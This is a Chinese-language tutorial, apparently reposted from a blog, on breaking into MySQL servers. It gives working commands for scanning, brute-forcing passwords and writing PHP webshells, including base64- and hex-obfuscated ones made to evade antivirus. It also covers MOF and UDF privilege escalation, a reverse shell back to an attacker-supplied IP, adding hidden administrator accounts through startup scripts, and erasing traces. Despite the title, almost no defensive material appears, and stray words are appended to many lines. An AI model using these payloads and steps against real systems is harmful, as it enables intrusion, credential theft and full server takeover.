MySQL數據庫入侵及防護方法

來自:http://blog.51cto.com/simeon/1981572php

做者介紹python

陳小兵,高級工程師,具備豐富的信息系統項目經驗及18年以上網絡安全經驗,現主要從事網絡安全及數據庫技術研究工做。《黑客攻防及實戰案例解析》《Web滲透及實戰案例解析》《安全之路-Web滲透及實戰案例解析第二版》《黑客攻防實戰加密與解密》《網絡攻防實戰研究:漏洞利用與提權》做者,在國內多本學術期刊發表論文20餘篇,並在多本IT雜誌發表文章100餘篇。mysql

 

在針對網站滲透中,不少都是跟 MySQL 數據庫有關,各類 MySQL 注入、MySQL 提權、MySQL 數據庫 Root 帳號 webshell 獲取等,但沒有一個對 MySQL 數據庫滲透較爲全面的總結。linux

 

針對這種狀況咱們開展了研究,但技術的進步永無止境,思想有多遠,路就能夠走多遠,在研究 MySQL 數據庫安全之餘,咱們也對 MySQL 如何經過 msf、sqlmap 等來進行掃描、漏洞利用、提權、MySQL 密碼破解和獲取 webshell 等進行了詳細研究。git

 

1、MySQL 信息收集github

 

一、端口信息收集

 

MySQL 默認端口是 3306 端口,但也有自定義端口,針對默認端口掃描主要利用掃描軟件進行探測,推薦使用:web

 

  • iisputter,直接填寫 3306 端口,IP 地址填寫單個或者 C 段地址;算法

  • Nmap 掃描 Nmap -p 3306 192.168.1.1-254。sql

     

特定目標的滲透,可能須要對全端口進行掃描,可使用 Nmap 對某一個 IP 地址進行全端口掃描,端口掃描軟件還有 sfind 等 DOS 下掃描的工具。shell

 

二、版本信息收集

 

msf 查看版本信息「auxiliary/scanner/mysql/mysql_version」模塊

 

以掃描主機 192.168.157.130 爲例,命令爲:

use auxiliary/scanner/mysql/mysql_version

set rhosts 192.168.157.130

run

MySQL 查詢版本命令:

 

SELECT @@version、SELECT  version();

sqlmap 經過注入點掃描確認信息:

sqlmap.py -u url --dbms mysql

phpmyadmin 管理頁面登陸後查看 localhost->變量->服務器變量和設置中的 version 參數值。

 

三、數據庫管理信息收集

 

MySQL 管理工具備多種,例如 phpmyadmin 網站管理,Navicat for MySQL 以及 MySQL Front 等客戶端工具。這些工具備的會直接保存配置信息,這些信息包含數據庫服務器地址和數據庫用戶名以及密碼,經過嗅探或者破解配置文件能夠獲取密碼等信息。

 

四、msf 信息收集模塊

 

MySQL 哈希值枚舉:

use auxiliary/scanner/mysql/mysql_hashdump

set username root

set password root

run

獲取相關信息:

use auxiliary/admin/mysql/mysql_enum

set username root

set password root

run

獲取數據庫版本,操做系統名稱,架構,數據庫目錄,數據庫用戶以及密碼哈希值。

 

執行 MySQL 語句,鏈接成功後能夠在 msf 執行 SQL 語句,跟 sqlmap 的「--sql-shell」模塊相似

use auxiliary/admin/mysql/mysql_sql

將mysql_schem導出到本地/root/.msf4/loot/文件夾下

use auxiliary/scanner/mysql/mysql_schemadump

文件枚舉和目錄可寫信息枚舉

auxiliary/scanner/mysql/mysql_file_enum

auxiliary/scanner/mysql/mysql_writable_dirs

沒有測試成功過,須要定義枚舉目錄和相關文件,以爲基本沒什麼用。

 

2、MySQL 密碼獲取

 

一、暴力破解

 

MySQL 暴力破解主要有幾種:

 

網頁在線鏈接破解:

 

可使用 burpsuite 和 phpMyAdmin 多線程批量破解工具。

下載:

  • https://portswigger.net/burp/

  • http://pan.baidu.com/s/1c1LD6co

 

msf 經過命令行進行暴力破解:

 

msf 破解 MySQL 密碼模塊 auxiliary/scanner/mysql/mysql_login,其參數主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE參數。

 

對單一主機僅僅須要設置 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它參數根據實際狀況進行設置。

 

場景A:對內網獲取 Root 某個口令後,擴展滲透

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.157.1-254

set password root

set username root

run

執行後對 192.168.157.1-254 進行 MySQL 密碼掃描驗證。

 

場景B:使用密碼字典進行掃描

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.157.1-254

set pass_file /tmp/password.txt

set username root

run

 

使用 nmap 掃描並破解密碼:

 

對某一個 IP 或者 IP 地址段進行 nmap 默認密碼暴力破解並掃描

nmap --script=mysql-brute 192.168.157.130

nmap --script=mysql-brute 192.168.157.1-254

使用 Root 帳號 Root 密碼進行 MySQL 密碼驗證並掃描獲取指定 IP 地址的端口信息以及 MySQL 數據庫相關信息

nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130

檢查 Root 空口令

nmap --script mysql-empty-password 192.168.195.130

 

對 MySQL 口令進行掃描:

 

使用 hscan 工具對 MySQL 口令進行掃描,須要設置掃描 IP 地址段以及數據庫口令字典及用戶名字典。

 

二、源代碼泄露

 

網站源代碼備份文件:

 

一些網站源代碼文件中會包含數據庫鏈接文件,經過查看這些文件能夠獲取數據庫帳號和密碼。通常常見的數據庫鏈接文件爲 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。之前有一款工具挖掘雞能夠自定義網站等名稱對 zip/rar/tar/tar.gz/gz/sql 等後綴文件進行掃描。

 

配置備份文件:

 

使用 ultraedit 等編輯文件編輯數據庫配置文件後,會留下 bak 文件。

 

三、文件包含

 

本地文件包含漏洞能夠包含文件,經過查看文件代碼獲取數據庫配置文件,進而讀取數據庫用戶名和密碼。

 

四、其它狀況

 

有些軟件會將 IP 地址、數據庫用戶名和密碼寫進程序中,運行程序後,經過 cain 軟件進行嗅探,能夠獲取數據庫密碼。另外 MySQL客戶端管理工具備的管理員會創建鏈接記錄,這些鏈接記錄保存了用戶名、密碼和鏈接 IP 地址或者主機名,經過配置文件或者嗅探能夠獲取用戶名和密碼。

 

3、MySQL 獲取 webshell

 

一、phpmyadminroot 帳號獲取 webshell

 

MySQL Root 帳號經過 phpMyAdmin 獲取 webshell 的思路,主要有下面幾種方式,以第1)2)6)8)方法較佳,其它能夠根據實際狀況來進行。

 

1)直接讀取後門文件:

 

經過程序報錯、phpinfo 函數、程序配置表等直接獲取網站真實路徑,有些網站前期已經被人滲透過,所以在目錄下留有後門文件經過 load_file 直接讀取。

 

2)直接導出一句話後門:

 

前提須要知道網站的真實物理路徑,例如呼求偶真實路徑 D:\work\WWW,則能夠經過執行如下查詢,來獲取一句話後門文件 cmd.php,訪問地址:http://www.somesite.com/cmd.php

select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

 

3)建立數據庫導出一句話後門:

 

在查詢窗口直接執行如下代碼便可,跟2)原理相似

CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );

INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');

SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';

DROP TABLE IF EXISTS `antian365`;

 

4)可執行命令方式:

 

建立執行命令形式的 Shell,但前提是對方未關閉系統函數。該方法導出成功後能夠直接執行 DOS 命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=後面直接執行dos命令)

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'

另外在 Linux 下能夠導出直接執行命令的 Shell

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

http://localhost/shell.php?c=cat%20/etc/passwd

 

5)過殺毒軟件方式:

 

經過後臺或者存在上傳圖片的地方,上傳圖片 publicguide.jpg,內容以下

<?php$a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?>

而後經過圖片包含 temp.php,導出 webshell

select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

一句話後門密碼:antian365

 

6)直接導出加密 webshell:

 

一句話後門文件密碼:pp64mqa2x1rnw68,執行如下查詢直接導出加密 webshell,D:/WEB/IPTEST/22.php,注意在實際過程須要修改 D:/WEB/IPTEST/22.php

select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E') into dumpfile 'D:/WEB/IPTEST/22.php'

(上下拉動可完整查看)

 

注意:也可使用 http://tool.lu/hexstr/ 網站的代碼轉換來實現,將須要導出的文件代碼複製到網站的字符串中,經過字符串轉成十六進制,將十六進制字符串放入 unhex 函數進行查詢便可

select unhex('十六進制字符串') into dumpfile 'D:/WEB/shell.php'

 

7)CMS 系統獲取 webshell:

 

有些狀況下沒法獲取網站的真實路徑,則意味着沒法直接導出一句話 webshell,能夠經過 CMS 系統管理帳號登陸系統後,尋找漏洞來突破,例如 dedecms 能夠經過破解管理員帳號後直接上傳文件來獲取 webshell。Discuz!的 UC_key 能夠直接獲取 webshell。甚至某些系統可直接上傳 php 文件。下面是一些 CMS 系統滲透的技巧:

 

  • dedecms 系統的密碼有直接 md5,也有20位的密碼,若是是20位的密碼則須要去掉密碼中的前3位和最後1位,而後對剩餘的值進行md5解密便可;

  • phpcms v9 版本的密碼須要加 salt 進行破解,須要選擇破解算法 md5(md5($pass).$salt) 進行破解;

  • Discuz!論壇賬號保存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解須要帶salt進行,其破解時是使用password:salt進行,例如 a0513df9929afc972f024fa4e586e829:399793。

 

8)general_log_file 獲取 webshell:

 

查看 genera 文件配置狀況

show global variables like "%genera%";

關閉 general_log

set global general_log=off;

經過 general_log 選項來獲取 webshell

set global general_log='on';

SET global general_log_file='D:/phpStudy/WWW/cmd.php';

在查詢中執行語句

SELECT '<?php assert($_POST["cmd"]);?>';

Shell 爲 cmd.php,一句話後門,密碼爲cmd。

 

二、Sqlmap 注入點獲取 webshell

 

Sqlmap 注入點獲取 webshell 的前提是具有寫權限,通常是 Root 帳號,經過執行命令來獲取

sqlmap -u url--os-shell

  echo "<?php @eval($_POST['c']);?>" >/data/www/1.php

 

4、MySQL 提權

 

一、mof提權

 

webshell 上傳 mof 文件提權:

 

MySQL Root 權限 MOF 方法提權是來自國外 Kingcope 大牛發佈的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),簡稱 MySQL 遠程提權 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規範 (WMI) 提供瞭如下三種方法編譯到 WMI 存儲庫的託管對象格式 (MOF) 文件:

 

  • 方法1:運行 MOF 文件指定爲命令行參數 Mofcomp.exe 文件;

  • 方法2:使用 IMofCompiler 接口和 $ CompileFile 方法;

  • 方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。

 

Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三種方法僅爲向後兼容性與早期版本的 WMI 提供,並由於此功能可能不會提供在未來的版本後,不該使用。注意使用 MOF 方法提權的前提是當前 Root 賬號能夠複製文件到 %SystemRoot%\System32\Wbem\MOF 目錄下,不然會失敗!

 

該漏洞的利用前提條件是必須具有 MySQL 的 Root 權限,在 Kingcope 公佈的 0day 中公佈了一個 pl 利用腳本。

 

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100 爲 MySQL 數據庫所在服務器,MySQL 口令爲空,反彈到 192.168.2.150 的 5555 端口上。

 

生成 nullevt.mof 文件:

 

將如下代碼保存爲nullevt.mof文件:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter

EventNamespace = "Root\\Cimv2"; 

Name  = "filtP2"; 

    Query = "Select * From __InstanceModificationEvent " 

            "Where TargetInstance Isa \"Win32_LocalTime\" " 

            "And TargetInstance.Second = 5"; 

QueryLanguage = "WQL"; 

}; 

instance of ActiveScriptEventConsumer as $Consumer 

    Name = "consPCSV2"; 

ScriptingEngine = "JScript"; 

ScriptText = 

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; 

}; 

instance of __FilterToConsumerBinding

    Consumer   = $Consumer; 

    Filter = $EventFilter; 

};

(上下拉動可完整查看)

 

經過 MySQL 查詢將文件導入:

 

執行如下查詢語句,將上面生成的 nullevt.mof 導入到 c:\windows\system32\wbem\mof\ 目錄下在windows7 中默認是拒絕訪問的。導入後系統會自動運行,執行命令

selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

 

msf 直接 mof 提權:

 

msf 下的 exploit/windows/mysql/mysql_mof 模塊提供了直接 mof 提權,不過該漏洞成功跟操做系統權限和 MySQL 數據庫版本有關,執行成功後會直接反彈 Shell 到 meterpreter

use exploit/windows/mysql/mysql_mof

set rhost 192.168.157.1 //設置須要提權的遠程主機IP地址

set rport 3306 //設置mysql的遠程端口

set password root //設置mysql數據庫root密碼

set username root //設置mysql用戶名

options //查看設置

run 0

 

技巧:要是可以經過網頁鏈接管理(phpmyadmin),則能夠修改 host 爲「%」並刷新權限後,則能夠經過 msf 等工具遠程鏈接數據庫。默認 Root 等帳號不容許遠程鏈接,除非管理員或者數據庫用戶本身設置。

 

方法1:本地登入 MySQL,更改 "MySQL" 數據庫裏的 "user" 表裏的 "host" 項,將"localhost"改成"%"

use mysql;

 update user set host = '%' where user = 'root';

FLUSH PRIVILEGES ;

 select host, user from user;

 

方法2:直接受權(推薦)

從任何主機上使用 Root 用戶,密碼:youpassword(你的root密碼)鏈接到 MySQL 服務器

# mysql -u root -proot

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;

FLUSH PRIVILEGES;

 

推薦從新增長一個用戶,在實際測試過程當中發現不少服務器使用 Root 配置了多個地址,修改後可能會影響實際系統的運行。在實際測試過程當中所以建議新增一個用戶,受權全部權限,而不是直接更改 Root 配置。

 

二、udf 提權

 

UDF 提權是利用 MySQL 的自定義函數功能,將 MySQL 帳號轉化爲系統 system 權限,利用條件的目標系統是 Windows(Win2000/XP/2003);擁有 MySQL 的某個用戶帳號,此帳號必須有對 MySQL 的 insert 和 delete 權限以建立和拋棄函數,有 Root 帳號密碼Windows 下 UDF 提權對於 Windows2008 如下服務器比較適用,也即針對 Windows2000、Windows2003 的成功率較高。

 

UDF 提權條件:

 

  • MySQL 版本大於 5.1 版本 udf.dll 文件必須放置於 MySQL 安裝目錄下的 lib\plugin 文件夾下。

  • MySQL 版本小於 5.1 版本。udf.dll 文件在 Windows2003 下放置於 c:\windows\system32,在 Windows2000 下放置於 c:\winnt\system32。

  • 掌握的 MySQL 數據庫的帳號有對 MySQL 的 insert 和 delete 權限以建立和拋棄函數,通常以 Root 帳號爲佳,具有 Root 帳號所具有的權限的其它帳號也能夠。

  • 能夠將 udf.dll 寫入到相應目錄的權限。

 

提權方法:

 

獲取數據庫版本、數據位置以及插件位置等信息

select version();//獲取數據庫版本

select user();//獲取數據庫用戶

select @@basedir ;//獲取安裝目錄

show variables like '%plugins%';  //尋找mysql安裝路徑

導出路徑

C:\Winnt\udf.dll    Windows 2000

C:\Windows\udf.dll   Windows2003(有的系統被轉義,須要改成C:Windowsudf.dll)

 

MySQL 5.1 以上版本,必需要把 udf.dll 文件放到 MySQL 安裝目錄下的 libplugin 文件夾下才能建立自定義函數。該目錄默認是不存在的,這就須要咱們使用 webshell 找到 MySQL 的安裝目錄,並在安裝目錄下建立 libplugin 文件夾,而後將 udf.dll 文件導出到該目錄便可。

 

在某些狀況下,咱們會遇到 Can't open shared library 的狀況,這時就須要咱們把 udf.dll 導出到 lib\plugin 目錄下才能夠,網上大牛發現利用 NTFS ADS 流來建立文件夾的方法

select @@basedir;  //查找到mysql的目錄

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   //利用NTFS ADS建立lib目錄

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS建立plugin目錄

執行成功之後就會 plugin 目錄,而後再進行導出 udf.dll 便可。

 

建立 cmdshell 函數,該函數叫什麼名字在後續中則使用該函數進行查詢

create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;

執行命令

select sys_eval(‘whoami’);

通常狀況下不會出現建立不成功哦。連不上 3389 能夠先中止 windows 防火牆和篩選

select sys_eval(‘net stop policyagent’);

select sys_eval(‘net stop sharedaccess’);

udf.dll 下常見函數

cmdshell  執行cmd;

downloader  下載者,到網上下載指定文件並保存到指定目錄;

open3389    通用開3389終端服務,可指定端口(不改端口無需重啓);

backshell   反彈Shell;

ProcessView 枚舉系統進程;

KillProcess 終止指定進程;

regread     讀註冊表;

regwrite    寫註冊表;

shut        關機,註銷,重啓;

about       說明與幫助函數;

具體用戶示例

select cmdshell('net user iis_user 123!@#abcABC /add');

select cmdshell('net localgroup administrators iis_user /add');

select cmdshell('regedit /s d:web3389.reg');

select cmdshell('netstat -an');

清除痕跡

drop function cmdshell;//將函數刪除

刪除 udf.dll 文件以及其它相關入侵文件及日誌。

 

常見錯誤

#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

SHOW VARIABLES LIKE "secure_file_priv"

在 my.ini 或者 mysql.cnf  文件中註銷 (使用#號) 包含 secure_file_priv 的行。

 

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,須要將 my.ini 中的 skip-grant-tables 選項去掉。

 

webshell 下 udf 提權:

 

經過集成 udf 提權的 webshell 輸入數據庫用戶名及密碼以及數據庫服務器地址或者IP經過鏈接後導出進行提權。

 

MySQL 提權綜合利用工具:

 

v5est0r 寫了一個 MySQL 提權綜合利用工具,詳細狀況請參考其代碼共享網站:https://github.com/v5est0r/Python_FuckMySQL,其主要功能有:

 

  • 自動導出你的 backdoor 和 mof 文件;

  • 自動判斷 MySQL 版本,根據版本不一樣導出 UDF 的 DLL 到不一樣目錄,UDF 提權;

  • 導出 LPK.dll 文件,劫持系統目錄提權;

  • 寫啓動項提權。

 

UdF 自動提權

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf

LPK 劫持提權

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk

啓動項提權

python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst

例如經過 LOAD_FILE 來查看 MySQL 配置文件 my.ini,若是其中配置了 skip-grant-tables,這沒法進行提權。

 

三、沒法獲取 webshell 提權

 

鏈接 MySQL:

  • mysql.exe -h ip -uroot -p

  • phpmyadmin

  • Navicat for MySQL

 

查看數據庫版本和數據路徑:

 

SELECT VERSION( );

Select @@datadir;

5.1 如下版本,將 dll 導入到 c:/windows 或者 c:/windows/system32/

5.1 以上版本 經過如下查詢來獲取插件路徑

SHOW VARIABLES WHERE Variable_Name LIKE "%dir";

show variables like '%plugin%' ;

select load_file('C:/phpStudy/Apache/conf/httpd.conf')

select load_file('C:/phpStudy/Apache/conf/vhosts.conf')

select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')

select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')

select load_file('d:/phpStudy/Apache/conf/vhosts.conf')

 

修改 MySQL.txt:

 

MySQL.txt 爲 udf.dll 的二進制文件轉成十六進制代碼。

 

  • 先執行導入 ghost 表中的內容,修改如下代碼的末尾代碼:select backshell("YourIP",4444);

  • 導出文件到某個目錄

 

 

導出過程:

select data from Ghost into dumpfile 'c:/windows/mysqldll.dll'; 

select data from Ghost into dumpfile 'c:/windows/system32/mysqldll'; 

select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll'; 

select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll'; 

select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll' 

select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll'; 

C:\ProgramData\MySQL\MySQL Server 5.1\Data\mysql/user.myd

select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm');

select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'

(上下拉動可完整查看)

 

  • 查看 FUNCTION 中是否存在 cmdshell 和 backshell,存在則刪除

drop FUNCTION cmdshell;//刪除cmdshell

drop FUNCTION backshell;//刪除backshell

  • 建立backshell

CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //建立backshell
  • 在具有獨立主機的服務器上執行監聽

nc -vv -l -p 44444
  • 執行查詢

select backshell("192.192.192.1",44444);//修改192.192.192.1爲你的IP和端口

 

獲取 webshell 後添加用戶命令:

 

注意若是不能直接執行,則須要到 c:\windows\system32\ 下執行

net user antian365 Www.Antian365.Com /add 

net localgroup administrators antian365

 

四、Sqlmap 直連數據庫提權

 

Sqlmap 直接鏈接數據庫提權,須要有寫入權限和 Root 帳號及密碼,命令以下:

 

  • 鏈接數據庫:sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell

  • 選擇操做系統的架構,32 位操做系統選擇 1,64 位選擇 2

  • 自動上傳 udf 或提示 os-shell

  • 執行 whomai 命令若是獲取系統權限,則表示提權成功。

 

Msfudf 提權:

 

Kali 滲透測試平臺下執行(kali下載地址https://www.kali.org/downloads/)

msfconsole

use exploit/windows/mysql/mysql_payload

options

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run 0或者exploit

 

msf 下 udf 提權成功率並不高,跟 windows 操做系統版本,權限和數據庫版本有關,特別是 secure-file-priv 選項,若是有該選項基本不會成功。

 

五、啓動項提權

 

建立表並插入 vbs 腳本到表中:

 

依次使用如下命令

show databases ;

use test;

show tables;

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );

select * from a;

導出 vbs 腳本到啓動:

 

使用如下命令將剛纔在 a 表中建立的 vbs 腳本導出到啓動選項中

select * from a into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啓動\\a.vbs";

導入成功後,系統從新啓動時會自動添加密碼爲「1」且用戶名稱爲「1」的用戶到管理員組中。在實際使用過程當中該腳本成功執行的概率比較低,有時候會出現不能導出的錯誤。

 

推薦使用如下腳本

show databases ;

use test;

show tables;

create table b (cmd text);

insert into b values ("net user Aspnet123545345!* /add");

insert into b values ("net localgroup administrators Aspnet /add");

insert into b values ("del b.bat");

select * from b into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啓動\\b.bat";

該腳本執行後雖然會閃現 DOS 窗口,若是有權限導入到啓動選項中,則必定會執行成功,在虛擬機中經過 MySQL 鏈接器鏈接並執行以上命令後,在「C:\Documents and Settings\All Users\「開始」菜單\程序\啓動」目錄中會有剛纔導出的 b.bat 腳本文件。

 

說明:在不一樣的操做系統中「C:\Documents and Settings\All Users\「開始」菜單\程序\啓動」目錄文件名稱可能會不一樣,這個時候就要將其目錄換成相應的目錄名稱便可。例如若是是英文版本操做系統則其插入的代碼爲

select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat";

Windows 2008 Server的啓動目錄爲:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

其 vbs 方法能夠參考以下寫法

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " );

select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";

 

msf 下模塊 exploit/windows/mysql/mysql_start_up 提權:

  

      use exploit/windows/mysql/mysql_start_up

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run

msf 下 mysql_start_up 提權有必定的概率,對英文版系統支持較好。

 

5、msf 其它相關漏洞提權

 

一、MySQL 身份認證漏洞及利用(CVE-2012-2122)

 

當鏈接 MariaDB/MySQL 時,輸入的密碼會與指望的正確密碼比較,因爲不正確的處理,會致使即使是 memcmp() 返回一個非零值,也會使 MySQL 認爲兩個密碼是相同的。也就是說只要知道用戶名,不斷嘗試就可以直接登入 SQL 數據庫。按照公告說法大約 256 次就可以蒙對一次。受影響的產品: 

 

  • All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 不存在漏洞

  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not 不存在漏洞

 

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

 

二、exploit/windows/mysql/mysql_yassl_hello

 

三、exploit/windows/mysql/scrutinizer_upload_exec

 

6、MySQL 密碼破解

 

一、Cain 工具破解 MySQL 密碼

 

使用 UltraEdit-32 編輯器直接打開 user.MYD 文件,打開後使用二進制模式進行查看,在 Root 用戶後面是一串字符串,選中這些字符串將其複製到記事本中,這些字符串即爲用戶加密值,例如 506D1427F6F61696B4501445C90624897266DAE3。

 

注意:

  • root 後面的「*」不要複製到字符串中。

  • 在有些狀況下須要日後面看看,不然獲得的不是完整的 MYSQLSHA1 密碼,總之其正確的密碼位數是 40 位。

 

安裝 cain 工具,使用 cracker,右鍵單擊「Add tolist」將 MySQL Hashes 值加入到破解列表中,使用軟件中的字典、暴力破解等方式來進行暴力破解。

 

二、網站在線密碼破解

 

